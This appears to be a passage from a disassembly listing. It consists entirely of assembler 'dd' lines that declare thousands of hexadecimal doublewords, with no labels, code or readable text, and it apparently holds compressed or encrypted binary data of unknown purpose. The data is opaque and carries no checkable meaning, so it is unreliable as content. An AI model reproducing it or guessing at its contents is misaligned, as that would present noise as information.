		dd 8798238Dh, 0A47CF0C8h, 0C1721830h, 7118A4C4h, 0A5417D2Bh
		dd 0C34B02A8h, 30A03D75h, 0F49DA8B2h, 0A89F3611h, 2DA529D0h
		dd 8F1740C4h, 18D42511h, 0B702274h, 4F718EBFh, 52228C11h
		dd 5D302F40h, 0B97311B3h, 802A88BFh, 0B2B3457Bh, 0A9248374h
		dd 8C01CC72h, 762F4264h, 0ECEBA461h, 0F18B3CC0h, 0FC1D5D05h
		dd 7820E44Ch, 1C05F0B0h, 29B9B6B8h, 3074C822h, 5D088772h
		dd 642598FDh, 7A405E6Fh, 7E2DAD87h, 0F30C15CCh,	0C601F816h
		dd 99E1315Ah, 1374292Ch, 842284C1h, 0D72C3066h,	228B6F16h
		dd 3D726C38h, 2601D724h, 0C5B4017Dh, 363420ABh,	30C98B88h
		dd 95681341h, 73060BEFh, 454C43A5h, 3C315D78h, 4035E612h
		dd 4BB1CD0Ch, 88AC374Eh, 7D1B899h, 45026818h, 36918CB7h
		dd 77EC4167h, 0C043BC52h, 0A15AFF64h, 230CE7F4h, 0B359048Ch
		dd 625FB97Fh, 9007272Eh, 1D7A0AB3h, 0E8F46F00h,	0B8FEA1B5h
		dd 3619288Eh, 252676DCh, 2C1842C1h, 2C10F168h, 56E075ADh
		dd 800F170h, 840DF360h,	9148E67h, 0CD832305h, 26468C14h
		dd 7CB34402h, 20C777B9h, 0B34C0200h, 2588EBFCh,	0B8098DE1h
		dd 64E6B402h, 0DA01ECE5h, 6DF18AD3h, 101C2034h,	1753059h
		dd 0C1849FB3h, 0E44249D4h, 0FBAC91DBh, 0D064F0E1h, 5D4C0569h
		dd 0C80754B9h, 1841A930h, 336B6842h, 0FD5C87A8h, 6C229046h
		dd 877B3F00h, 11C5033Eh, 7A850E3Dh, 0A8E02A41h,	9510546Bh
		dd 6FDE20Eh, 0EBFA2F64h, 0C51002BAh, 0A1730028h, 88C71FECh
		dd 2312B6D5h, 8544445h,	1231F989h, 0E18C9405h, 0B0810CD5h
		dd 0D91105A9h, 0C318002h
		dd 76341E2h, 3EFD0037h,	0EBA731F3h, 5505FFBAh, 359D402Ah
		dd 0E800BC54h, 0BF008C3Fh, 53C0D98Ah, 0A0EBA1FCh, 8012E0A4h
		dd 2933FF47h, 2276D84Dh, 2B2A6DC8h, 0A300987Ch,	0DDFA38F3h
		dd 4A879361h, 4D1C2894h, 6839DA89h, 0EADB6601h,	0FC192FD2h
		dd 0FF02D59Ch, 0E6264188h, 8E08E7Eh, 0D240607h,	0D7004131h
		dd 986EBA72h, 0E74850h,	0E8912188h, 0DA194257h,	0EB2B6F17h
		dd 0D43AF853h, 0AC036123h, 50B0D96h, 85B71171h,	9E80093Dh
		dd 710C04C8h, 3F48D900h, 752B9404h, 849500AAh, 795885DFh
		dd 6B0A1154h, 0F43099C9h, 15D07319h, 61A2AC15h,	0ED86BFD1h
		dd 30261064h, 0A8193A0Dh, 0BE09DD52h, 32DB123Bh, 7A50417Ch
		dd 0D7092818h, 45028B63h, 2080B920h, 6603C1D7h,	0DC3FF257h
		dd 3510811Ah, 69E4A1FDh, 3B72F441h, 942DD1F9h, 4578DC4Ch
		dd 36DC4338h, 1354C8F5h, 2210D540h, 8A3102D8h, 82D4A898h
		dd 22F60D01h, 0D0940744h, 0F742252Ch, 0A8460C6h, 2BC48727h
		dd 0CA36AB60h, 0ACAD3106h, 3A985B16h, 716AF30Dh, 0EE376018h
		dd 0C401355Eh, 0B37EF67Dh, 0B0C82604h, 13540101h, 29E13371h
		dd 108C6232h, 0D450476Ah, 972A4099h, 8403852Eh,	0C350C08h
		dd 9AF901D9h, 0D1C54401h, 6FC0384Bh, 0E147F0h, 25DA98ABh
		dd 0AFAEC926h, 68888133h, 8C513E38h, 3C099CDDh,	0B4022D01h
		dd 982017D9h, 0C3234C28h, 2BA3FB38h, 1320D858h,	70420144h
		dd 1CEE89Eh, 0F46EE777h, 9C2AD1F3h, 0A01FE030h,	0E494646Fh
		dd 0CBF9E120h, 940E2318h, 801639FFh, 0D4FBEF84h, 5CC8945Fh
		dd 0F8002D46h, 0D7F703CCh, 8A07671Bh, 0F556272Ch, 0A1F6C273h
		dd 2C6460D1h, 11A20253h, 0D5B03375h, 1082C44Ah,	720420E8h
		dd 243A3882h, 4FA48164h, 46143C19h, 0B2B103D8h,	0ADB68420h
		dd 8C32C4D0h, 0D3042672h, 48E61AD0h, 0FB614471h, 2C4CBCFCh
		dd 0F18E0AF6h, 883CD775h, 0E0A007ADh, 315D5E22h, 77202C02h
		dd 0C99B0218h, 0E0149E40h, 812065A8h, 0B9773E3Bh, 87B06DA6h
		dd 10DD66F0h, 19294EB2h, 218D8717h, 3171C422h, 0FD5AFC7Dh
		dd 91266021h, 65350262h, 828E0687h, 960DE8Ch, 4809F864h
		dd 8CE08Ah, 8352405Ah, 945A3802h, 0A6547783h, 2DE08A93h
		dd 242CC225h, 97A5C03Dh, 546B858h, 89F98A86h, 0ACE07494h
		dd 9271E867h, 0D128B114h, 78E91829h, 0CBD70136h, 8DF1F51Eh
		dd 0C13C6820h, 6F8E8CAFh, 0B9105432h, 461867D6h, 0FA2B0A48h
		dd 0E2C08388h, 11E6B532h, 90D1FB0Bh, 227C1C17h,	0B3025E46h
		dd 4B3E2C85h, 0FCEC8434h, 8C64CCCCh, 69D72E04h,	462328Bh
		dd 0D7267C20h, 0B031008Dh, 0EAFA9C24h, 6D16285Fh, 14C85E9Dh
		dd 6C048C46h, 55AD28F1h, 6A223162h, 4C2B0074h, 33287AB5h
		dd 0BA0CD640h, 0B0A6895Bh, 0FF0D8892h, 37392A61h, 4078FAB5h
		dd 0F9F18B0Ah, 7140A19Ch, 2E183Eh, 0CDC3BCCCh, 0F555DED5h
		dd 0C622FB0Bh, 0F13038F3h, 0A0DA8839h, 70C9B016h, 6114E882h
		dd 7B106508h, 344D10B9h, 66E812BCh, 3531F891h, 37D30D00h
		dd 0E533ACA0h, 9CB84Ch,	0E3958A53h, 78EE0A75h, 0D480C46Ah
		dd 7DA7450Bh, 3D202CE7h, 89187C90h, 0F1697FC7h,	0A13640A9h
		dd 0DC9DAC14h, 0A23D05A0h, 70E76A7Fh, 8A530520h, 0DF8E8420h
		dd 0C184BC60h, 98896139h, 2F2821E1h, 56C63395h,	90085398h
		dd 97EB432h, 6802253Ch,	5B016E3Eh, 0A840531Eh, 4FF9576h
		dd 5D0B0484h, 452092AAh, 0EEF16330h, 224D46ADh,	6B713Ah
		dd 96170BF1h, 64141B26h, 40B5B300h, 0E1E98AB6h,	1994B12Bh
		dd 605C815Eh, 3040648Ch, 748F3133h, 0E97ACFA9h,	708028B7h
		dd 0E0502B89h, 0E2BAB53Ch, 1A930047h, 0DB4C9F45h, 0C414AEABh
		dd 129C420Ch, 4422D77Dh, 0FC693143h, 7D43AD2Dh,	0F1715580h
		dd 8A01E39Bh, 0D15C9E86h, 48A58D88h, 18913C97h,	42ABDF81h
		dd 0FE43C0B2h, 8B13C505h, 0E89595F9h, 65F44487h, 689420E5h
		dd 6F805841h, 6DAD2BF1h, 5758C494h, 0A1F11777h,	0D7A300F9h
		dd 0F588B68Ch, 41F8ED00h, 86BF6FDBh, 0C38582Dh,	0D03D149Eh
		dd 76458803h, 780526A5h, 0F838BE8Ah, 72CEB0CCh,	59850053h
		dd 337405ADh, 349480FDh, 82DF2B40h, 0F45B02CBh,	4C61755Fh
		dd 0B40E882h, 67335800h, 0A9FF3FD3h, 393D0C98h,	0A100640Eh
		dd 4E988030h, 0FB72F8CEh, 8C72D8E5h, 0C7711Fh, 0B551E16Bh
		dd 0DD01171Eh, 7A8E074Ah, 22FCA1F8h, 2F60D773h,	6F23D4h
		dd 56CCD880h, 6AB0A389h, 145A327Bh, 0B89A7433h,	2B1DFDh
		dd 802A1AE3h, 222DE56h,	3455E500h, 0FA5B1BFBh, 0F83E4C58h
		dd 0AC2856B2h, 18606712h, 256ED72Bh, 0B8162A8Bh, 0D723710Eh
		dd 444B4056h, 17099EA9h, 4F53A81h, 0A3208B3Ch, 302FB27Ch
		dd 0E601B28Ch, 8F972319h, 0E231AF61h, 9D125C2Dh, 0D6284020h
		dd 0F634D895h, 0D27B840Fh, 4CBE34C7h, 1882200h,	0B964A089h
		dd 804315E6h, 760AF6F8h, 2F7B74Ch, 131A5CFCh, 70CF5A94h
		dd 0A2857DC0h, 8B0504A1h, 0C83149E1h, 59C07620h, 0CD31524h
		dd 3A4702A5h, 51DEFB64h, 0E441C66h, 0DBBD09BCh,	0F8E45CD8h
		dd 0B41F6920h, 0C25137A4h, 705641E9h, 3195E46h,	0EC9284B3h
		dd 801238EDh, 0D81471CEh, 4A10878h, 89690232h, 58D0F9C9h
		dd 0C81A905h, 0C88F49F1h, 0CC03BC8h, 9BA11AAh, 6870B953h
		dd 6764AC2Fh, 0F504E595h, 413219Eh, 1194CAC4h, 19095AF2h
		dd 2430CDBEh, 0F55E8F3Fh, 429D0C05h, 0C54C5448h, 84CC846Ah
		dd 38542202h, 0F1A05427h, 5CB4AD8Ch, 0A0C8A016h, 5CF09580h
		dd 13645172h, 270D244Ch, 0ED212004h, 8700299Ch,	0BCB42D23h
		dd 26633E7Dh, 4FE0C03Dh, 68C844ABh, 0AC00A4BCh,	0D21CCB40h
		dd 0A2770CBAh, 0F18C798Ch, 0B0C01836h, 0C5E110A0h, 0B4AF1316h
		dd 0A048FB13h, 7FB708F1h, 0FCD94582h, 0CEB08013h, 0C771F18Ah
		dd 57D095A9h, 8F171545h, 0C03F88A0h, 325D4A1Bh,	27BE3900h
		dd 44AF16A5h, 9053679Bh, 69758341h, 88B1FDB8h, 8988BEFFh
		dd 9817359Fh, 5E3186F0h, 6CF84858h, 2C45E641h, 0CA07808h
		dd 394119B6h, 2B4B7802h, 16C058CDh, 10AF713h, 0D1C7A224h
		dd 88742339h, 292580h, 5582C416h, 19004FB7h, 0F7951553h
		dd 0F3E8FF26h, 88710020h, 1B63E394h, 436FCB0h, 11FF1FF0h
		dd 0E89D0B4Dh, 19B3710h, 44E0D8ECh, 2EA967FCh, 23B8C445h
		dd 97837880h, 64950DF4h, 6CE1F654h, 8C60BC58h, 81C40303h
		dd 0E906FD5Bh, 50250BDAh, 239C5F0h, 2DCD7451h, 0B05A2ABEh
		dd 18A0FF00h, 0A29A6C8Eh, 7C63009Eh, 0E6B92C1h,	2C90EC20h
		dd 1C59C200h, 9E71917h,	32E8A430h, 41081095h, 62DE92E0h
		dd 591E5C30h, 60D966B6h, 285B810Ch, 0ED002659h,	0A70777B1h
		dd 0A8C85A6h, 68669C61h, 86D02EACh, 3903D974h, 6ED1A400h
		dd 2EE14AB9h, 2F7B0061h, 2FA4706h, 0D25C7FFh, 0E6F82BFEh
		dd 0CC5350CCh, 0C90340C8h, 138EB012h, 28052004h, 0F8501609h
		dd 19758504h, 8CB82587h, 44131505h, 5660B071h, 0BEEEFB02h
		dd 643869FEh, 3E062464h, 0AC01350h, 82E85264h, 5AC6BCADh
		dd 5F1F3464h, 74025926h, 48298EBFh, 4DA1FD70h, 24729840h
		dd 0AECA53Dh, 81C719Ah,	583E23A2h, 0F0024A8Dh, 705AA5BCh
		dd 0B4D11AECh, 0B0184015h, 8100CF21h, 26B17FF7h, 0B696FCh
		dd 0E8AEF84Fh, 67F3BEBCh, 90C0A12Ah, 0F226C912h, 0DBC81CCEh
		dd 0F4DB42FEh, 30A47885h, 0F1D64CAEh, 4F25CD13h, 0E1068180h
		dd 908021B5h, 54807C02h
		dd 33140037h, 7184B73Ch, 7A5843E6h, 398A09BCh, 0AD7C8668h
		dd 3E31D270h, 3A3D2384h, 55DBF380h, 86C35FEDh, 0ECA0297Eh
		dd 0AC1EFBF5h, 45493797h, 70098FCh, 0A9203835h,	7A8D328Bh
		dd 112B6C91h, 0AAF4470Eh, 40E5047Fh, 0D668A9FDh, 0F100C080h
		dd 743D5904h, 3B69C223h, 80D101C9h, 6782D839h, 0F0A21CA8h
		dd 7AB133h, 0F2838A0h, 22AC20BEh, 2436A43Ah, 23C4808h
		dd 1491FEBFh, 15405C69h, 0C9E65C02h, 0E3FB014Ah, 4AA06660h
		dd 3823082Fh, 3364AE03h, 98A1C6B4h, 0E2788304h,	7D5C8089h
		dd 8135D0A9h, 70AFF164h, 7CBA4270h, 0E9F9310Bh,	949427h
		dd 0DA94245Ch, 0EAAF28D5h, 0A9BF5202h, 64610440h, 64140014h
		dd 5BE02EFDh, 93F68FB3h, 0ECC9B026h, 3AD49025h,	0D168015h
		dd 39BBF1h, 0CA611D2Bh,	8AB46Ah, 0AC0E944Ch, 0A115B243h
		dd 80794418h, 55E90B88h, 0A878D431h, 583CA400h,	0CCA97533h
		dd 0DC92324Ah, 58052929h, 71888C74h, 0A4942458h, 290DD40Bh
		dd 0AF3CB3A0h, 242BDC2h, 4C62131Eh, 6C622048h, 0E2605E82h
		dd 42B2DB0h, 0DA491AD8h, 0D600005Ah, 0F8C9E390h, 7A4E0AFCh
		dd 0FFE0031h, 0F3C705EEh, 0DE255507h, 40C430h, 0AEA6AC53h
		dd 860656A9h, 0E6881750h, 0C0D8340h, 14D81FCFh,	0C94A8961h
		dd 370C1891h, 0E6868183h, 0E19884E2h, 400029B8h, 458A4BF1h
		dd 1268028Fh, 8D2D05F2h, 0AC092FF8h, 0C2D4A171h, 0A8552DE6h
		dd 0A084492h, 192518D4h, 8401D310h, 91D6B7B6h, 2025517Eh
		dd 1BF80828h, 0A979018Ch, 0EE0CD3CBh, 43B5708Dh, 66BC6151h
		dd 408A0018h, 0C282AB2Ah, 9182FF86h, 3360B145h,	73020845h
		dd 891A88B9h, 1645A60h,	76F8DE10h, 68CB189Dh, 683F3134h
		dd 7068C3CAh, 38C3DECh,	0E04B54D3h, 70113A08h, 950516BDh
		dd 0C18321CAh, 1728BF8h, 7860A789h, 2B7D40DAh, 4B782D4Dh
		dd 56877C9Bh, 0EF7FD2CBh, 4D84C60h, 28E6BD80h, 4881A2Bh
		dd 7F62E1B7h, 20E4D97Ch, 0A640F548h, 0CF880F8Ah, 3F42135Fh
		dd 4459AB66h, 37FD8E04h, 0F85834F4h, 60C89420h,	0B972B35Eh
		dd 48CBA74Bh, 0B3460400h, 686E230Dh, 1D906950h,	54204A41h
		dd 0BF604054h, 0D3662005h, 4C548EC2h, 596A10C4h, 3850F84Ch
		dd 3F664F37h, 758C7EACh, 30FA02A2h, 5EB54F83h, 8D422C7Eh
		dd 9880091Bh, 0D9284B2h, 9F68AB2Fh, 0FCAD11D0h,	8DE585ADh
		dd 748580C7h, 20D1BCA4h, 271D1B18h, 0CC2EA5FFh,	0F1A998B2h
		dd 181971DCh, 9FB803CFh, 84F333F0h, 228832A1h, 0D3670450h
		dd 84C253FEh, 4B72EC7h,	97B0A90Dh, 824C2544h, 8029C6B0h
		dd 0E9AF8E48h, 5CA49EA9h, 39B118E1h, 0E0A6F940h, 30BF83E0h
		dd 70A017FDh, 630AD26h,	3E02204Ch, 6F48866Eh, 38792918h
		dd 6CD72901h, 50331A8Bh, 0D7217780h, 0FF00A389h, 0FC8F17B2h
		dd 2C8EBE03h, 9EEC28BDh, 13C412E4h, 0F214A28Ch,	0B92B302Fh
		dd 0B2E4CF02h, 60414CEAh, 80887DD0h, 230E35FAh,	60266F8Eh
		dd 5F98961h, 49509237h,	0C43C94F2h, 73405E44h, 1B9502BCh
		dd 0A5F98B71h, 94A914CAh, 5F68E000h, 37B0C52Ch,	0D2C0009Dh
		dd 4D59AB2Bh, 33062C3Ch, 382DC9E9h, 65F86758h, 0F4ACC3E0h
		dd 0F607FC90h, 3CE1E03Ch, 0B249B481h, 0A5A84890h, 3EAC6CA8h
		dd 6D9E018Ch, 23D4AE84h, 0EDCC200Ch, 0D007C726h, 38E603F4h
		dd 9B8CECF7h, 2EB1B7A8h, 40047E82h, 5630BABFh, 0AF323F00h
		dd 6B92E50Ah, 7F9101DEh, 0CA07B423h, 68092EFDh,	893860D3h
		dd 1AF1FBBh, 0DCD94904h, 0FB169C70h, 5679B6h, 0B0C2D424h
		dd 9128DB46h, 10E84C6Eh, 5109C5B5h, 444833BEh, 0D98815FFh
		dd 0D50E41D0h, 2B398C10h, 3F366178h, 180AB86h, 6B7EEFEDh
		dd 0E60AD773h, 28AA519Dh, 0F5031791h, 0C5115DEEh, 4BB6BDE8h
		dd 586F483Eh, 1FAC119Ch, 5F60971h, 0AC648EB5h, 0B4400D4Fh
		dd 8F4055BDh, 16EC01E8h, 0E0AF1052h, 7185F89Fh,	2C2A953Dh
		dd 0FA81284Dh, 0E1896BD4h, 7E16C469h, 0B10CF347h, 841F3EEAh
		dd 182E3EEAh, 9CE1310Ch, 0BEC00F3h, 5A12884h, 0BB00D89Eh
		dd 0FAA2B0B5h, 0C24087h, 383495Ah, 2AB4AD2Ch, 8439472Eh
		dd 3A064676h, 23418F87h, 0D4FB228Bh, 0D1FCC06Ah, 27E89AACh
		dd 0B84C2447h, 31F18B0Ah, 0EB039834h, 6255FB44h, 0FD0D21F9h
		dd 231500F2h, 7E1C35BFh, 0C9D0C541h, 0BECC9933h, 7041D97Bh
		dd 207B0274h, 61C9C05Ch, 1EFB5601h, 159DE738h, 25753064h
		dd 10C726D9h, 0F6005C4h, 31D0945h, 4912FF16h, 0D034D044h
		dd 4E300E12h, 0B6891490h, 5FF312E4h, 0EC19D093h, 8A0B5545h
		dd 0C26D20ACh, 34ECDC38h, 0F1B96CEBh, 18C00427h, 906FE9A3h
		dd 2BC0167Ch, 0F6F0297Ch, 0BC782008h, 94B18C94h, 0C41835D1h
		dd 1EF9E202h, 0D1A28DEEh, 18627964h, 0E2FB26A6h, 47C90874h
		dd 0D8122828h, 0C5F7404h, 0B6BCEE41h, 68381033h, 0B2CA108h
		dd 0DC4BD832h, 0AF1601C4h, 6C79B2BCh, 7E9D129Ch, 3A8B2820h
		dd 0E9A979F8h, 23D43B6Bh, 55A0534h, 5C938272h, 24938D0h
		dd 95BCA0h, 0F9AF24B4h,	0CC5FF18Ah, 0BD0834BCh,	42AA8933h
		dd 6387E082h, 0D9774C00h, 603E510Eh, 48F4B9E0h,	7E89B835h
		dd 7554D482h, 0FFFA5600h, 72F024CBh, 1932188Ch,	0E94AF1F6h
		dd 5A7AFC80h, 0CCCE0142h, 0A9C03CADh, 74446A2Bh, 64A44B64h
		dd 54C5098Eh, 0FC402476h, 80C15F88h, 0D8B6B8E4h, 0A9B0C050h
		dd 900A6084h, 0C0EB547Bh, 76282902h, 7A0644D9h,	5F4E274Ch
		dd 0C2E46C00h, 472FBC3h, 277C109Dh, 16600B8Ch, 0C0D3EA47h
		dd 9F16646Ah, 187718F0h, 187A5EAAh, 5429D4F1h, 11E483Ch
		dd 0BA88EE42h, 0B8A482D8h, 0C8489404h, 7E58BFD0h, 0BD20A54h
		dd 0D120B3A5h, 83BD31BEh, 0C67FF941h, 96A82141h, 34067696h
		dd 80FEE988h, 84C6EBFCh, 205AF575h, 9EBFE041h, 60BB2B39h
		dd 6EDCA909h, 587470E6h, 0FB05E8B9h, 343193B1h,	0D075E994h
		dd 0C2EB4C60h, 0F744EA71h, 1E7780E8h, 96CABB0Ch, 4B8A30E4h
		dd 5CB8447Fh, 7644A80Fh, 8E24C0B8h, 8A0008C7h, 0D780D8BDh
		dd 44A706C5h, 69EDACAFh, 8A50C1D1h, 23658CBFh, 0BC828CC5h
		dd 0B41321CEh, 0CA9A3F4h, 54792C3Bh, 50D1104Dh,	3B4DFA00h
		dd 0FB69CB02h, 9034D4B9h, 0EB45FCC8h, 23CC3A6Eh, 0BA051F62h
		dd 58D45C7Ah, 901E6D80h, 7A00280Bh, 21D3ABF3h, 0E8CAACAh
		dd 0BB8A6A75h, 77506381h, 0BF7C4059h, 204F19FEh, 2023BCC2h
		dd 0D60B64A4h, 9F250700h, 455DA6ECh, 1CD90027h,	0F2DB67E6h
		dd 0AD161259h, 54A73C24h, 0B99E5700h, 33CCF383h, 10C9A720h
		dd 8B397DCEh, 0FA9010A2h, 25BFE23Dh, 0CC442D8Eh, 0E6E9420h
		dd 0ACF10DC1h, 4C2F4B90h, 0D9073D23h, 0EB204ADAh, 0E6E9164h
		dd 31FAD1F6h, 7C90A4B3h, 11E81F95h, 0EBE7803Eh,	13367A5Dh
		dd 0B8B7708h, 4693900h,	0F809F7A7h, 5115ED2Bh, 186BD914h
		dd 0CBCE005Fh, 0DCB84D1Fh, 3A02E1E8h, 0F932EF47h, 0AF946835h
		dd 0B66031CEh, 646D8F72h, 540017F8h, 2F7F7D33h,	0C1718D66h
		dd 85977659h, 3CC0EE37h, 2C9617CCh, 3A465Eh, 0B0F3D0DAh
		dd 0E932138Bh, 5F4536Ah, 0F41BD480h, 4680750Ch,	94AD122Fh
		dd 5BE4F0DAh, 570D1712h, 38622440h, 0B61CB974h,	89033948h
		dd 0F53E483Ah, 449C88Ah, 40604113h, 304024E4h, 86D44306h
		dd 0DF302A88h, 710922C8h, 21D92F41h, 8997FBB8h,	0C4474025h
		dd 0FD0A4684h, 616D8F0Ch, 2005D7ABh, 0E4C09921h, 0B92571B3h
		dd 829465AFh, 8DB34705h
		dd 0C6E522h, 7F4AAD2Dh,	0A710828Ah, 0DA404062h,	4C1C30Ah
		dd 3BD0B4D5h, 0F2001CB2h, 0D79525D9h, 378CB53h,	232C5A4Eh
		dd 310232BAh, 8D472538h, 0AEB478C6h, 5E9C96ECh,	1D002A46h
		dd 0F8029EFBh, 489EB632h, 0FD57F960h, 6410F149h, 6E2F5FFBh
		dd 0E4406889h, 0E274F472h, 40880071h, 64DF7825h, 0AA1DF1C0h
		dd 5840738Fh, 0C9CB3C2h, 76600062h, 1D394001h, 46777D7Ch
		dd 81084095h, 12258C38h, 0B1C010A3h, 702856B2h,	0E6CBA6B0h
		dd 0B8A4E803h, 4841D59Eh, 0C90B6868h, 0EC71B688h, 3960F47Bh
		dd 0DB2D199Ah, 1D681F88h, 0A008E149h, 0CF714231h, 0C2202117h
		dd 6732CBD0h, 606F4430h, 2DB6BC6h, 0D755F9B0h, 785011BFh
		dd 74CC7455h, 583F6324h, 116CB25Dh, 80049F3Ch, 11514A69h
		dd 0AB005584h, 4B218207h, 0D528A18h, 567519A2h,	1AD02019h
		dd 0A1608901h, 51224011h, 53551880h, 0A0219813h, 3E891E3Ah
		dd 18A3EA1h, 648615A5h,	4BF0121Ch, 831A1D57h, 87040051h
		dd 981DA521h, 21C590Ch,	10288Ch, 7A85D83h, 1FAE589Bh, 0AD673418h
		dd 0E46E5640h, 535A0078h, 0BB218F18h, 13009907h, 3D2E790Ah
		dd 5034561Ch, 63140422h, 3A18006h, 244007E0h, 711F6003h
		dd 1E538356h, 33A15879h, 4AE31271h, 21621874h, 0A34884E0h
		dd 0DB8D1A08h, 5075E152h, 38465DC5h, 7A88C080h,	8D03A265h
		dd 1AE5220h, 87511C0Dh,	0BB330F3Fh, 6D1B8DE8h, 22F4387Ch
		dd 40126517h, 66A00071h, 767927A9h, 34491C00h, 217C5025h
		dd 7A21F72h, 0E14E5977h, 6649D07Fh, 506478C0h, 216313ADh
		dd 88904075h, 589C3100h, 22623DA0h, 0E770085h, 214D558Dh
		dd 128E787Ch, 1F1D4C76h, 923C2B0Ch, 85B40414h, 46234243h
		dd 8F54486Fh, 0A4D12DF1h, 5F2230C4h, 18C4AC9h, 86C29460h
		dd 0D019A4B9h, 71616B0Bh, 1774088Ch, 48B214AEh,	9413104Bh
		dd 27D1FE25h, 68A9A560h, 95434650h, 5821F0C3h, 0B4AD2D65h
		dd 10A5E960h, 0C4C9E6C3h, 0AEB97759h, 4720DC31h, 0AC425816h
		dd 6061AC5Dh, 16F96AFh,	7C40C03Dh, 4A82B413h, 7A984553h
		dd 0E883217h, 0DCF22C89h, 0D1E460CDh, 8C30E828h, 0E586C359h
		dd 94353729h, 161698C2h, 59B2D546h, 0A4CD231Ch,	210EA851h
		dd 0C305291h, 2B806E1Ah, 905C9AD3h, 1BC822CCh, 0B9F20D12h
		dd 8C0970BDh, 784859E6h, 0F930A9h, 4BF986BFh, 0D6D0812Fh
		dd 68123FC9h, 8F179CE2h, 774088E1h, 1286060h, 95FA2F1h
		dd 4C5986B9h, 0D444944Bh, 0E97940h, 406EACAFh, 0B32FB15Eh
		dd 0A9D80260h, 0AACAF61h, 0D780249Eh, 0AD738971h, 98505544h
		dd 0BF41E9E0h, 86972880h, 170AFB47h, 0B006B6B9h, 40B128BCh
		dd 2E09F1FEh, 1A8BC6AFh, 0CC443304h, 0DC2A5922h, 0E90F4550h
		dd 1DC9B100h, 1088294Bh, 48868A1Eh, 4A04149h, 0E28B471Ah
		dd 20CA459h, 12195132h,	1C2AEE0Dh, 82892C11h, 1DB44830h
		dd 5C416141h, 9700134Dh, 1C321785h, 300A4054h, 39486887h
		dd 7B9C943Ch, 158407FFh, 0FBC1D8A8h, 661BDED5h,	2F9DA09Ch
		dd 8CA097C0h, 0DA48525Fh, 6BCD09Ch, 651B01F5h, 0F26112E0h
		dd 0D5340072h, 53C21377h, 39D61519h, 2CE21A48h,	25817E28h
		dd 33141FE2h, 155CC050h, 0C13BD8D7h, 72C18821h,	33F0Bh
		dd 278633DBh, 40482A18h, 95883D9Eh, 81335BFBh, 0E7C17960h
		dd 4423390Ch, 0C512Bh, 1232FC56h, 5361E3AEh, 8164B338h
		dd 0C748BE88h, 461B60Ah, 0BC60AC09h, 0A19FF9DFh, 4780E4BFh
		dd 0D938A2F0h, 2CBD441h, 2E9CE113h, 4810C5D0h, 1960AEB3h
		dd 48013D71h, 10043A48h, 641C29F5h, 17C7D33h, 0D4F35BCCh
		dd 0F4FB412Dh, 10060826h, 1F3869ADh, 2B320108h,	52CBBD8Ah
		dd 67FCEC17h, 4CAEA87Fh, 44B8B060h, 0A4262877h,	40F844E0h
		dd 0C84880F5h, 0AC6F7F6h, 64F0C8ABh, 10F4F996h,	0D4A948FBh
		dd 7C044480h, 0B73032FFh, 0BE3C4880h, 9A427A9h,	77BFD898h
		dd 2D2C523Ah, 0FDA8209Bh, 0CF0CC1BCh, 921E1B21h, 0F500D0D9h
		dd 3F49C9F1h, 178449D8h, 29016F7Ch, 0D22A8748h,	94157184h
		dd 1004F003h, 928F71C0h, 4545ECFh, 0C0C575ECh, 0DA78F42Bh
		dd 31F9AE03h, 0C88746B3h, 0FB3ECEBBh, 9C04091h,	85BD0A78h
		dd 9046D720h, 4410A408h, 0B30052DFh, 2FC7BF66h,	12344FAFh
		dd 0D1D8D443h, 6FF6EAA8h, 10F1F009h, 0A8687374h, 0B04377BCh
		dd 6082172Ch, 3C7CF2ABh, 0E5AE009Eh, 0D0B3B2F6h, 0C04FF66Fh
		dd 6DA3C0B0h, 2C90CB3Fh, 0BED944h, 6F7D28F0h, 0A0DF16F1h
		dd 9A4CE401h, 259D3291h, 17C07980h, 0F0D75CF1h,	2FDCC81Dh
		dd 0DAF20C0Bh, 1C6E49C0h, 59DAA91Ah, 0E20C882Fh, 0F1026011h
		dd 0EBE9A010h, 6B0C4172h, 9217D44Ch, 0B02882A8h, 69F18C60h
		dd 6402212Bh, 84604F3Dh, 0CA0C98Fh, 52EC09ADh, 562492BFh
		dd 4E73411Ch, 3F21FC29h, 0B61FB8EEh, 36555A77h,	54A8B14h
		dd 30043138h, 0C52730F1h, 0FEB888D3h, 0FAF2488h, 86FB53F5h
		dd 200C89A0h, 0BC0BE18Ah, 0D22A9969h, 7676DCh, 0ECA53612h
		dd 238F797Bh, 1C9A4072h, 68426BA2h, 469D2817h, 45E81A90h
		dd 1767250Ah, 0AD3E2CD9h, 1698E420h, 8414AE8h, 72807C68h
		dd 440115BCh, 0F08012FCh, 0E41C327Eh, 97D2B18h,	2CB45A6Ch
		dd 8A36C40h, 332E98A4h,	0DB45F065h, 50CF0C44h, 6318F322h
		dd 7C5C8169h, 8C6ABC88h, 28F34F00h, 0B1A682ACh,	9E411393h
		dd 919C9022h, 1E0F32A5h, 60481003h, 1760C09Ch, 0B4BC0521h
		dd 20D463F0h, 0C10EEE80h, 950BC803h, 0D98DFF9Ch, 443E8E32h
		dd 0EAAE67BCh, 0E6682842h, 124742Eh, 0D00F469Ch, 78CE0F33h
		dd 4278F8F1h, 0AF10E028h, 0CC5509F0h, 10544937h, 0D0383943h
		dd 0E247B477h, 8BA8001Fh, 0C44CFFA9h, 644E0591h, 0A0E82C85h
		dd 7C8C07B8h, 2D9D2A9Ch, 5FAC07C4h, 0A087C0F3h,	468B13CAh
		dd 2DB9FF12h, 97A694C8h, 0AC127C38h, 9BAA1F0Eh,	10E3C037h
		dd 86DFF36h, 31900DF5h,	0CFACED2Dh, 3760F88Eh, 0EA86F6FEh
		dd 78EC9409h, 74187A9Eh, 6E30001Dh, 0C49D655Ah,	2C1DA946h
		dd 48003ACCh, 4596BD18h, 0B323257Ch, 0FB0DBC68h, 720FB9DEh
		dd 381918D9h, 0DB3D0019h, 776AA299h, 2D0143ECh,	0A0C66894h
		dd 0CB2EA9E2h, 0C0068840h, 8A857843h, 6CF2401Fh, 0BECB641Eh
		dd 361C2228h, 0B92303C0h, 0FB0539B6h, 7DB1FD98h, 32A2CCFCh
		dd 0DAD96422h, 98AB0004h, 0D3387B51h, 1D00926Ch, 0E0BFDD2Ch
		dd 59D88F66h, 5600EC23h, 69599FC8h, 0AC13A177h,	0A40549FEh
		dd 0A4C9E70Dh, 808456DAh, 0DB2B55FAh, 0B001670h, 0B4CABD57h
		dd 0E0216Ah, 8E711986h,	5A70D613h, 3E0C2618h, 3F2FE39h
		dd 9C9960F6h, 0DD9069E0h, 0B9177E28h, 988B521Fh, 5F03A3DFh
		dd 0C10BC563h, 407EDA74h, 0D423C664h, 0D0A02738h, 0EC3D6F70h
